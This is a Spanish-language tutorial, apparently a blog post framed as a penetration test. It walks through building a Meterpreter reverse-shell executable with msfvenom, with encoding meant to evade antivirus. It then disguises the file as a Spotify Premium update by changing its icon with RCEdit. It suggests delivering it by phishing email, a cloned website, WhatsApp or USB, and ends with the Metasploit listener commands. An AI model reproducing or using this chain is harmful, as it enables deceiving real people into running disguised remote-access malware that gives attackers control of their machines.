En este tutorial podré en uso técnicas de ingeniería social para obtener acceso remoto a una máquina víctima y establecer una sesión de Meterpreter mediante un payload malicioso generado con msfvenom en Kali Linux, también utilizaré RCEDIT en Windows para modificar el ícono del payload, haciendo que sea más convincente para el usuario objetivo de esta prueba de seguridad.
Generación del Payload con Msfvenom
Usaré msfvenom para crear un payload ofuscado (ofuscación mínima) que ejecutaré luego en la máquina víctima.
kali@kali# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.14 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe –platform Windows –arch x86
A continuación una breve explicacion de los parametros utilizados para crear el payload:
- -p windows/meterpreter/reverse_tcp: Este payload establece una conexión inversa desde la víctima hacia el atacante, ideal para situaciones donde la víctima está detrás de un firewall o NAT.
- LHOST y LPORT: Define la IP y puerto del atacante que recibirá la conexión inversa.
- -e x86/shikata_ga_nai: Encoder para ofuscar el payload, haciéndolo más difícil de detectar por Antivirus, IDS, EDR, etc.
- -i 10: Indica el número de iteraciones de codificación para incrementar la ofuscación (pueden ser tantas como dees).
- -f exe: El formato de salida será un ejecutable para Windows “exe”.
- -o payload.exe: El nombre y formato de salida del payload malicioso (Debe incluir el “.exe” aún que esté ya definido).
- –platform Windows –arch x86: Especifica que el payload está dirigido a una plataforma Windows con arquitectura x86 (32 bits).
Añadiendo una Capa Extra de Ingeniería Social: Modificación de Iconos con RCEDIT
Una vez generado el payload, es crucial adaptar su presentación para que pase desapercibido en el sistema de la víctima. Como parte de mi estrategia de ingeniería social, voy a renombrar el archivo según el contexto de la víctima y personalizar su icono para hacerlo parecer legítimo. Este paso le añade una capa adicional de engaño, aumentando la probabilidad de que el objetivo ejecute el archivo.
¿Qué es RCEdit?
Es una utilidad diseñada para modificar los metadatos de un archivo “.exe”. Tambien me permite cambiar aspectos como el nombre de la aplicación, la versión, y lo más impornate para este caso, el ícono que se mostrará cuando el archivo sea visualizado en el sistema operativo Windows.
Esta personalización es crucial para engañar a la víctima y aumentar la efectividad del ataque en pruebas de penetración.
Descarga RCEDIT desde Github: https://github.com/electron/rcedit/releases
Aplicación del Ícono al Payload con RCEdit
Con el ícono adecuado, el ejecutable de rcedit descargado desde GitHub y el payload listo, voy a proceder a realizar la personalización final… modificar el payload y agregar el ícono. En este caso utilizaré el icono de spotify para esta prueba de seguridad, al ser una aplicación popular, puede pasar como una actualización de la aplicación en la computadora víctima.
Elegí Spotify como icono bajo el siguiente escenario: “En el estudio del usuario victima, a este le encanta escuchar spotify, información que se puedo recopilar atraves de OSINT en redes sociales donde en fotografías del usuario víctima en su centro de trabajo, se logra ver que en la pantalla de su computadora esta reproduccioendo Spotify como aplicacion instalada en la compuadora, para lo cual le haremos llegar una actualizaición para su plan Premium”
Abrimos un terminal en la ruta donde tenemos los archivos en Windows y ejecutamos el siguiente comando
PS C:\Ruta_de_usuario> ./rcedit-x86.exe “payload.exe” –set-icon “spotify.ico”
Una vez terminado el proceso, nos mostrará el payload con el icono que acabamos de agregar. Lo que resta es cambiar el nombre del payload para hacerlo más atractivo para el usuario víctima de la prueba de seguridad. En este caso unicamente utilizaré el nombre Spotify, pero podria ser spotify_update_plan_premium, un ejemplo de agregar mas credibilidad al payload.
Métodos para Entregar el Payload a la Víctima
Existen diversas maneras de hacer llegar el payload malicioso a la víctima, y en este punto es crucial aplicar los conocimientos obtenidos durante la fase de investigación y análisis del objetivo. Cada método de la prueba debe adaptarse a las circunstancias del entorno de la víctima, aprovechando las vulnerabilidades identificadas y garantizando que el payload sea ejecutado.
- Envío por Correo Electrónico con Ingeniería Social
Se puede crear un correo convincente como un mensaje de confianza del desarrollador de la aplicación, solicitando la actualización de la misma mediante el archivo adjunto, que en este caso es el payload. - Descarga desde Sitio Web
Otra técnica es crear una copia del sitio web legítimo con un enlace para la descarga del payload cuando el usuario accede al sitio, haciéndo se pasar por soporte técnico de la aplicación, metodo el cual tambien podria realizarce via correo electronico, mensaje de texto o WhatsApp. - Uso de Dispositivo USB
Facilitar y/o hacer llegar el payload a través de una USB, este punto requiere un acercamiento más directo a la victima, proceso que va a depender de las circunstancias en las que se realiza la prueba de seguridad.
Estos son algunos métodos que pueden ser viables al realizar esta prueba de seguridad. El conocimiento que tengamos sobre el objetivo de la prueba y el perfil del sujeto al que se dirigirá el ataque son factores determinantes en la efectividad de estos métodos.
Para continuar con la prueba de seguridad, hago la configuracion del dispositivo atacante Kali Linux donde establezco el equipo en modo escucha utilizando Metasploit Framework.
kali@kali# msfconsole
msf6 > use exploit/multi/handler
msf6 > set payload windows/meterpreter/reverse_tcp
msf6 > set LHOST 192.168.0.14
msf6 > set LPORT 4444
Ahora procedo a iniciar el listener
msf6 > exploit
Una vez ejecutan el payload en el equipo víctima, se inicia la conexión remota estableciendo la sesión meterpreter a través de la cual podo continuar con los procesos post-explotación.
En este tutorial he explorado el uso de técnicas de ingeniería social para obtener acceso remoto a una máquina víctima mediante un payload malicioso creado con msfvenom. Comencé generando un payload ofuscado que establece una conexión inversa hacia el equipo atacante.
Luego, apliqué RCEdit para modificar el icono del payload, haciéndolo parecer más legítimo y aumentando las posibilidades de que la víctima lo ejecute. Mostré unos metodos de entrega, incluyendo el uso de correos electrónicos convincentes, descargas desde sitios web y la entrega directa a través de dispositivos USB.
Establecí Metasploit para recibir la conexión desde el payload. Al ejecutar el payload en la máquina víctima, se estableció la sesión Meterpreter, permitiendo llevar a cabo acciones post-explotación.
Este enfoque demuestra cómo combinar habilidades técnicas y estrategias de ingeniería social para realizar pruebas de penetración efectivas.